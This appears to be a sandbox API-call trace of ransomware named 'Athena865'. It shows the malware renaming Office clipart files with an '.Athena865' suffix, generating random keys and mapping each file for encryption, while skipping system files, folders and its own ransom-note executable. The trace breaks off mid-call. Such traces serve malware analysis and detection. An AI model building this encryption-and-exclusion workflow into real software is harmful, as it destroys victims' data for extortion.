lstrcmpiW (lpString1="J0285782.WMF", lpString2=".lnk") returned 1 [0129.593] lstrlenW (lpString=".ini") returned 4 [0129.594] lstrcmpiW (lpString1="J0285782.WMF", lpString2=".ini") returned 1 [0129.594] lstrlenW (lpString=".sys") returned 4 [0129.594] lstrcmpiW (lpString1="J0285782.WMF", lpString2=".sys") returned 1 [0129.594] lstrlenW (lpString="J0285782.WMF") returned 12 [0129.594] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285782.WMF.Athena865") returned 73 [0129.594] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285782.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285782.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285782.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285782.wmf.athena865"), dwFlags=0x1) returned 1 [0129.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285782.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285782.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0129.596] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=21054) returned 1 [0129.596] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0129.597] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0129.597] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.597] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5540, lpName=0x0) returned 0x154 [0129.598] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5540) returned 0x100000 [0129.600] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0129.601] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0129.601] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.601] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0285792.WMF" | out: lpString1="J0285792.WMF") returned="J0285792.WMF" [0129.602] lstrlenW (lpString="J0285792.WMF") returned 12 [0129.602] lstrlenW (lpString="Athena865") returned 9 [0129.602] lstrcmpiW (lpString1="85792.WMF", lpString2="Athena865") returned -1 [0129.602] lstrlenW (lpString=".dll") returned 4 [0129.602] lstrcmpiW (lpString1="J0285792.WMF", lpString2=".dll") returned 1 [0129.602] lstrlenW (lpString=".lnk") returned 4 [0129.602] lstrcmpiW (lpString1="J0285792.WMF", lpString2=".lnk") returned 1 [0129.602] lstrlenW (lpString=".ini") returned 4 [0129.602] lstrcmpiW (lpString1="J0285792.WMF", lpString2=".ini") returned 1 [0129.602] lstrlenW (lpString=".sys") returned 4 [0129.602] lstrcmpiW (lpString1="J0285792.WMF", lpString2=".sys") returned 1 [0129.602] lstrlenW (lpString="J0285792.WMF") returned 12 [0129.602] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285792.WMF.Athena865") returned 73 [0129.602] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285792.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285792.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285792.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285792.wmf.athena865"), dwFlags=0x1) returned 1 [0129.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285792.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285792.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0129.604] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=11956) returned 1 [0129.604] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0129.604] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0129.604] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.605] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x31c0, lpName=0x0) returned 0x154 [0129.606] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x31c0) returned 0x100000 [0129.607] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0129.608] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0129.608] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.608] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0285796.WMF" | out: lpString1="J0285796.WMF") returned="J0285796.WMF" [0129.609] lstrlenW (lpString="J0285796.WMF") returned 12 [0129.609] lstrlenW (lpString="Athena865") returned 9 [0129.609] lstrcmpiW (lpString1="85796.WMF", lpString2="Athena865") returned -1 [0129.609] lstrlenW (lpString=".dll") returned 4 [0129.609] lstrcmpiW (lpString1="J0285796.WMF", lpString2=".dll") returned 1 [0129.609] lstrlenW (lpString=".lnk") returned 4 [0129.609] lstrcmpiW (lpString1="J0285796.WMF", lpString2=".lnk") returned 1 [0129.609] lstrlenW (lpString=".ini") returned 4 [0129.609] lstrcmpiW (lpString1="J0285796.WMF", lpString2=".ini") returned 1 [0129.609] lstrlenW (lpString=".sys") returned 4 [0129.609] lstrcmpiW (lpString1="J0285796.WMF", lpString2=".sys") returned 1 [0129.609] lstrlenW (lpString="J0285796.WMF") returned 12 [0129.609] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285796.WMF.Athena865") returned 73 [0129.609] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285796.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285796.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285796.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285796.wmf.athena865"), dwFlags=0x1) returned 1 [0129.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285796.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285796.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0129.610] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=13648) returned 1 [0129.611] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0129.611] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0129.611] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.612] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3850, lpName=0x0) returned 0x154 [0129.613] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3850) returned 0x100000 [0129.614] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0129.615] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0129.615] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.616] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0285808.WMF" | out: lpString1="J0285808.WMF") returned="J0285808.WMF" [0129.616] lstrlenW (lpString="J0285808.WMF") returned 12 [0129.616] lstrlenW (lpString="Athena865") returned 9 [0129.616] lstrcmpiW (lpString1="85808.WMF", lpString2="Athena865") returned -1 [0129.616] lstrlenW (lpString=".dll") returned 4 [0129.616] lstrcmpiW (lpString1="J0285808.WMF", lpString2=".dll") returned 1 [0129.616] lstrlenW (lpString=".lnk") returned 4 [0129.616] lstrcmpiW (lpString1="J0285808.WMF", lpString2=".lnk") returned 1 [0129.616] lstrlenW (lpString=".ini") returned 4 [0129.616] lstrcmpiW (lpString1="J0285808.WMF", lpString2=".ini") returned 1 [0129.616] lstrlenW (lpString=".sys") returned 4 [0129.616] lstrcmpiW (lpString1="J0285808.WMF", lpString2=".sys") returned 1 [0129.616] lstrlenW (lpString="J0285808.WMF") returned 12 [0129.616] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285808.WMF.Athena865") returned 73 [0129.616] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285808.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285808.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285808.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285808.wmf.athena865"), dwFlags=0x1) returned 1 [0129.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285808.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285808.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0129.618] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9204) returned 1 [0129.618] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0129.619] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0129.619] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.619] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2700, lpName=0x0) returned 0x154 [0129.621] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2700) returned 0x100000 [0129.622] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0129.622] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0129.623] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.624] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0285820.WMF" | out: lpString1="J0285820.WMF") returned="J0285820.WMF" [0129.624] lstrlenW (lpString="J0285820.WMF") returned 12 [0129.624] lstrlenW (lpString="Athena865") returned 9 [0129.624] lstrcmpiW (lpString1="85820.WMF", lpString2="Athena865") returned -1 [0129.624] lstrlenW (lpString=".dll") returned 4 [0129.624] lstrcmpiW (lpString1="J0285820.WMF", lpString2=".dll") returned 1 [0129.624] lstrlenW (lpString=".lnk") returned 4 [0129.624] lstrcmpiW (lpString1="J0285820.WMF", lpString2=".lnk") returned 1 [0129.624] lstrlenW (lpString=".ini") returned 4 [0129.624] lstrcmpiW (lpString1="J0285820.WMF", lpString2=".ini") returned 1 [0129.624] lstrlenW (lpString=".sys") returned 4 [0129.624] lstrcmpiW (lpString1="J0285820.WMF", lpString2=".sys") returned 1 [0129.624] lstrlenW (lpString="J0285820.WMF") returned 12 [0129.624] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285820.WMF.Athena865") returned 73 [0129.624] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285820.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285820.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285820.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285820.wmf.athena865"), dwFlags=0x1) returned 1 [0129.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285820.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285820.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0129.630] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8720) returned 1 [0129.631] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0129.633] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0129.634] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.634] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2510, lpName=0x0) returned 0x154 [0129.636] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2510) returned 0x100000 [0129.642] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0129.644] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0129.644] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.646] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0285822.WMF" | out: lpString1="J0285822.WMF") returned="J0285822.WMF" [0129.646] lstrlenW (lpString="J0285822.WMF") returned 12 [0129.646] lstrlenW (lpString="Athena865") returned 9 [0129.646] lstrcmpiW (lpString1="85822.WMF", lpString2="Athena865") returned -1 [0129.646] lstrlenW (lpString=".dll") returned 4 [0129.646] lstrcmpiW (lpString1="J0285822.WMF", lpString2=".dll") returned 1 [0129.647] lstrlenW (lpString=".lnk") returned 4 [0129.648] lstrcmpiW (lpString1="J0285822.WMF", lpString2=".lnk") returned 1 [0129.648] lstrlenW (lpString=".ini") returned 4 [0129.649] lstrcmpiW (lpString1="J0285822.WMF", lpString2=".ini") returned 1 [0129.649] lstrlenW (lpString=".sys") returned 4 [0129.649] lstrcmpiW (lpString1="J0285822.WMF", lpString2=".sys") returned 1 [0129.649] lstrlenW (lpString="J0285822.WMF") returned 12 [0129.649] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285822.WMF.Athena865") returned 73 [0129.649] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285822.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285822.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285822.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285822.wmf.athena865"), dwFlags=0x1) returned 1 [0129.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285822.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285822.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0129.654] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8608) returned 1 [0129.654] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0129.659] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0129.659] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.659] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x24a0, lpName=0x0) returned 0x154 [0129.661] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x24a0) returned 0x100000 [0129.662] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0129.663] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0129.663] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.664] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0287018.WMF" | out: lpString1="J0287018.WMF") returned="J0287018.WMF" [0129.664] lstrlenW (lpString="J0287018.WMF") returned 12 [0129.664] lstrlenW (lpString="Athena865") returned 9 [0129.664] lstrcmpiW (lpString1="87018.WMF", lpString2="Athena865") returned -1 [0129.664] lstrlenW (lpString=".dll") returned 4 [0129.664] lstrcmpiW (lpString1="J0287018.WMF", lpString2=".dll") returned 1 [0129.664] lstrlenW (lpString=".lnk") returned 4 [0129.664] lstrcmpiW (lpString1="J0287018.WMF", lpString2=".lnk") returned 1 [0129.664] lstrlenW (lpString=".ini") returned 4 [0129.664] lstrcmpiW (lpString1="J0287018.WMF", lpString2=".ini") returned 1 [0129.664] lstrlenW (lpString=".sys") returned 4 [0129.664] lstrcmpiW (lpString1="J0287018.WMF", lpString2=".sys") returned 1 [0129.664] lstrlenW (lpString="J0287018.WMF") returned 12 [0129.664] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287018.WMF.Athena865") returned 73 [0129.664] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287018.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287018.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287018.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287018.wmf.athena865"), dwFlags=0x1) returned 1 [0129.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287018.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287018.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0129.666] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=30872) returned 1 [0129.666] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0129.667] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0129.667] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.667] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7ba0, lpName=0x0) returned 0x154 [0129.668] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7ba0) returned 0x100000 [0129.671] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0129.672] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0129.672] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.673] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0287019.WMF" | out: lpString1="J0287019.WMF") returned="J0287019.WMF" [0129.673] lstrlenW (lpString="J0287019.WMF") returned 12 [0129.673] lstrlenW (lpString="Athena865") returned 9 [0129.673] lstrcmpiW (lpString1="87019.WMF", lpString2="Athena865") returned -1 [0129.673] lstrlenW (lpString=".dll") returned 4 [0129.673] lstrcmpiW (lpString1="J0287019.WMF", lpString2=".dll") returned 1 [0129.673] lstrlenW (lpString=".lnk") returned 4 [0129.673] lstrcmpiW (lpString1="J0287019.WMF", lpString2=".lnk") returned 1 [0129.673] lstrlenW (lpString=".ini") returned 4 [0129.673] lstrcmpiW (lpString1="J0287019.WMF", lpString2=".ini") returned 1 [0129.673] lstrlenW (lpString=".sys") returned 4 [0129.673] lstrcmpiW (lpString1="J0287019.WMF", lpString2=".sys") returned 1 [0129.673] lstrlenW (lpString="J0287019.WMF") returned 12 [0129.673] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287019.WMF.Athena865") returned 73 [0129.673] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287019.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287019.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287019.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287019.wmf.athena865"), dwFlags=0x1) returned 1 [0129.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287019.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287019.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0129.677] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=37658) returned 1 [0129.677] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0129.679] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0129.679] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.681] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9620, lpName=0x0) returned 0x154 [0129.683] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9620) returned 0x100000 [0129.691] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0129.695] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0129.695] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.695] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0129.695] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0129.695] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0129.695] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0129.695] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.695] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0129.695] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0129.697] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0129.697] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.697] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0129.697] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0129.701] CloseHandle (hObject=0x154) returned 1 [0129.705] CloseHandle (hObject=0x17c) returned 1 [0129.706] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0129.706] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0129.706] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0129.709] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x80d8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0287020.WMF", cAlternateFileName="")) returned 1 [0129.710] lstrcmpiW (lpString1="J0287020.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0129.710] lstrcmpiW (lpString1="J0287020.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0129.710] lstrcmpiW (lpString1="J0287020.WMF", lpString2=".") returned 1 [0129.710] lstrcmpiW (lpString1="J0287020.WMF", lpString2="..") returned 1 [0129.710] lstrcmpiW (lpString1="J0287020.WMF", lpString2="windows") returned -1 [0129.710] lstrcmpiW (lpString1="J0287020.WMF", lpString2="bootmgr") returned 1 [0129.710] lstrcmpiW (lpString1="J0287020.WMF", lpString2="temp") returned -1 [0129.710] lstrcmpiW (lpString1="J0287020.WMF", 